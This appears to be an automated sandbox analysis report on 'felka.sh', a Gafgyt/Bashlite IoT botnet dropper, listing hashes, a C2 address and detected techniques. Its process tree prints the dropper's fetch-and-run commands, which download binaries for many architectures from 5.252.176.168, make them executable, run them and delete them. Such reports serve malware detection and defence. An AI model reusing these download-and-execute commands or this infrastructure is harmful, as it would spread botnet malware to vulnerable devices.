Overview

overview

10

Static

static

1

felka.sh

ubuntu-18.04-amd64

10

felka.sh

debian-9-armhf

10

felka.sh

debian-9-mips

10

felka.sh

debian-9-mipsel

10

Resubmissions

20/02/2025, 21:18

250220-z5zwvsvnbt 7

Analysis

  • max time kernel
    108s
  • max time network
    142s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240729-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    20/02/2025, 19:57

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General

  • Target

    felka.sh

  • Size

    2KB

  • MD5

    5922ebab69b093d45bcfaf633ae691be

  • SHA1

    7be49c2aaf8e6db8b1f1f04791cc9c81f7c9821c

  • SHA256

    3b2320de1e6753a8a4d12b51a344b8cb4302f5e6494685d9eb9b068223e17e07

  • SHA512

    38b19bb1ee69b0081b19b47416dd8e7e593fc641d9c44d64417b8e2cf7056dbd5ad933fa5c009f42324475b33b8d1edb9e809a86382112547bd58ff22a27ec77

Score
10/10
gafgytbotnetdefense_evasiondiscovery

Malware Config

Extracted

Family

gafgyt

C2

15.204.128.30:6140

Signatures

  • Detected Gafgyt variant 1 IoCs
  • Gafgyt family
    gafgyt
  • Gafgyt/Bashlite

    IoT botnet with numerous variants first seen in 2014.

    botnetgafgyt
  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 1 IoCs
  • Reads system routing table 1 TTPs 1 IoCs

    Gets active network interfaces from /proc virtual filesystem.

    discovery
  • Reads system network configuration 1 TTPs 1 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

    discovery
  • System Network Configuration Discovery 1 TTPs 6 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 13 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/felka.sh
    /tmp/felka.sh
    1⤵
    • Executes dropped EXE
    PID:703
    • /usr/bin/wget
      wget http://5.252.176.168/felkawtf.armv4l
      2⤵
      • Writes file to tmp directory
      PID:707
    • /bin/chmod
      chmod +x felkawtf.armv4l
      2⤵
      • File and Directory Permissions Modification
      PID:731
    • /tmp/felkawtf.armv4l
      ./felkawtf.armv4l
      2⤵
        PID:732
      • /bin/rm
        rm -rf felkawtf.armv4l
        2⤵
          PID:734
        • /usr/bin/wget
          wget http://5.252.176.168/felkawtf.armv5l
          2⤵
          • Writes file to tmp directory
          PID:735
        • /bin/chmod
          chmod +x felkawtf.armv5l
          2⤵
          • File and Directory Permissions Modification
          PID:736
        • /tmp/felkawtf.armv5l
          ./felkawtf.armv5l
          2⤵
            PID:737
          • /bin/rm
            rm -rf felkawtf.armv5l
            2⤵
              PID:739
            • /usr/bin/wget
              wget http://5.252.176.168/felkawtf.armv6l
              2⤵
              • Writes file to tmp directory
              PID:740
            • /bin/chmod
              chmod +x felkawtf.armv6l
              2⤵
              • File and Directory Permissions Modification
              PID:745
            • /tmp/felkawtf.armv6l
              ./felkawtf.armv6l
              2⤵
                PID:747
              • /bin/rm
                rm -rf felkawtf.armv6l
                2⤵
                  PID:750
                • /usr/bin/wget
                  wget http://5.252.176.168/felkawtf.armv7l
                  2⤵
                  • Writes file to tmp directory
                  PID:751
                • /bin/chmod
                  chmod +x felkawtf.armv7l
                  2⤵
                  • File and Directory Permissions Modification
                  PID:758
                • /tmp/felkawtf.armv7l
                  ./felkawtf.armv7l
                  2⤵
                    PID:759
                  • /bin/rm
                    rm -rf felkawtf.armv7l
                    2⤵
                      PID:763
                    • /usr/bin/wget
                      wget http://5.252.176.168/felkawtf.i486
                      2⤵
                        PID:764
                      • /bin/chmod
                        chmod +x felkawtf.i486
                        2⤵
                        • File and Directory Permissions Modification
                        PID:770
                      • /tmp/felkawtf.i486
                        ./felkawtf.i486
                        2⤵
                          PID:772
                        • /bin/rm
                          rm -rf felkawtf.i486
                          2⤵
                            PID:773
                          • /usr/bin/wget
                            wget http://5.252.176.168/felkawtf.i586
                            2⤵
                            • Writes file to tmp directory
                            PID:775
                          • /bin/chmod
                            chmod +x felkawtf.i586
                            2⤵
                            • File and Directory Permissions Modification
                            PID:783
                          • /tmp/felkawtf.i586
                            ./felkawtf.i586
                            2⤵
                              PID:784
                            • /bin/rm
                              rm -rf felkawtf.i586
                              2⤵
                                PID:788
                              • /usr/bin/wget
                                wget http://5.252.176.168/felkawtf.i686
                                2⤵
                                • Writes file to tmp directory
                                PID:789
                              • /bin/chmod
                                chmod +x felkawtf.i686
                                2⤵
                                • File and Directory Permissions Modification
                                PID:800
                              • /tmp/felkawtf.i686
                                ./felkawtf.i686
                                2⤵
                                  PID:801
                                • /bin/rm
                                  rm -rf felkawtf.i686
                                  2⤵
                                    PID:805
                                  • /usr/bin/wget
                                    wget http://5.252.176.168/felkawtf.m68k
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:806
                                  • /bin/chmod
                                    chmod +x felkawtf.m68k
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:810
                                  • /tmp/felkawtf.m68k
                                    ./felkawtf.m68k
                                    2⤵
                                      PID:811
                                    • /bin/rm
                                      rm -rf felkawtf.m68k
                                      2⤵
                                        PID:813
                                      • /usr/bin/wget
                                        wget http://5.252.176.168/felkawtf.mips
                                        2⤵
                                        • System Network Configuration Discovery
                                        • Writes file to tmp directory
                                        PID:814
                                      • /bin/chmod
                                        chmod +x felkawtf.mips
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:815
                                      • /tmp/felkawtf.mips
                                        ./felkawtf.mips
                                        2⤵
                                        • System Network Configuration Discovery
                                        PID:816
                                      • /bin/rm
                                        rm -rf felkawtf.mips
                                        2⤵
                                        • System Network Configuration Discovery
                                        PID:818
                                      • /usr/bin/wget
                                        wget http://5.252.176.168/felkawtf.mipsel
                                        2⤵
                                        • System Network Configuration Discovery
                                        • Writes file to tmp directory
                                        PID:819
                                      • /bin/chmod
                                        chmod +x felkawtf.mipsel
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:820
                                      • /tmp/felkawtf.mipsel
                                        ./felkawtf.mipsel
                                        2⤵
                                        • Reads system routing table
                                        • Reads system network configuration
                                        • System Network Configuration Discovery
                                        PID:821
                                      • /bin/rm
                                        rm -rf felkawtf.mipsel
                                        2⤵
                                        • System Network Configuration Discovery
                                        PID:824
                                      • /usr/bin/wget
                                        wget http://5.252.176.168/felkawtf.ppc
                                        2⤵
                                          PID:825
                                        • /bin/chmod
                                          chmod +x felkawtf.ppc
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:826
                                        • /tmp/felkawtf.ppc
                                          ./felkawtf.ppc
                                          2⤵
                                            PID:827
                                          • /bin/rm
                                            rm -rf felkawtf.ppc
                                            2⤵
                                              PID:828
                                            • /usr/bin/wget
                                              wget http://5.252.176.168/felkawtf.powerpc-440fp
                                              2⤵
                                              • Writes file to tmp directory
                                              PID:829
                                            • /bin/chmod
                                              chmod +x felkawtf.powerpc-440fp
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:830
                                            • /tmp/felkawtf.powerpc-440fp
                                              ./felkawtf.powerpc-440fp
                                              2⤵
                                                PID:831
                                              • /bin/rm
                                                rm -rf felkawtf.powerpc-440fp
                                                2⤵
                                                  PID:833
                                                • /usr/bin/wget
                                                  wget http://5.252.176.168/felkawtf.sh4
                                                  2⤵
                                                  • Writes file to tmp directory
                                                  PID:834
                                                • /bin/chmod
                                                  chmod +x felkawtf.sh4
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:843
                                                • /tmp/felkawtf.sh4
                                                  ./felkawtf.sh4
                                                  2⤵
                                                    PID:844
                                                  • /bin/rm
                                                    rm -rf felkawtf.sh4
                                                    2⤵
                                                      PID:848
                                                    • /usr/bin/wget
                                                      wget http://5.252.176.168/felkawtf.sparc
                                                      2⤵
                                                      • Writes file to tmp directory
                                                      PID:849
                                                    • /bin/chmod
                                                      chmod +x felkawtf.sparc
                                                      2⤵
                                                      • File and Directory Permissions Modification
                                                      PID:856
                                                    • /tmp/felkawtf.sparc
                                                      ./felkawtf.sparc
                                                      2⤵
                                                        PID:858
                                                      • /bin/rm
                                                        rm -rf felkawtf.sparc
                                                        2⤵
                                                          PID:861
                                                        • /usr/bin/wget
                                                          wget http://5.252.176.168/felkawtf.x86
                                                          2⤵
                                                          • Writes file to tmp directory
                                                          PID:862
                                                        • /bin/chmod
                                                          chmod +x felkawtf.x86
                                                          2⤵
                                                          • File and Directory Permissions Modification
                                                          PID:871
                                                        • /tmp/felkawtf.x86
                                                          ./felkawtf.x86
                                                          2⤵
                                                            PID:872
                                                          • /bin/rm
                                                            rm -rf felkawtf.x86
                                                            2⤵
                                                              PID:876

                                                          Network

                                                          MITRE ATT&CK Enterprise v15

                                                          Replay Monitor

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                                                          Downloads

                                                          • /tmp/felkawtf.armv4l
                                                            Filesize

                                                            103KB

                                                            MD5

                                                            65e82ae08897c4aa2fabd0fbdf03e517

                                                            SHA1

                                                            103458b043607d921cfc6ee9bc9fd3151f73e9c2

                                                            SHA256

                                                            7691bc26f63eba56f496d5e610ab9cbbfd1b1b39f27b5571dd59a799c3334b72

                                                            SHA512

                                                            3405418e789d1362344bb636f60cd223e8460328949cec5f02935136002a4afeef66ac4dd959dd9f35310e2a0012f2077466ce5e8919de96d3f56d006db463fe

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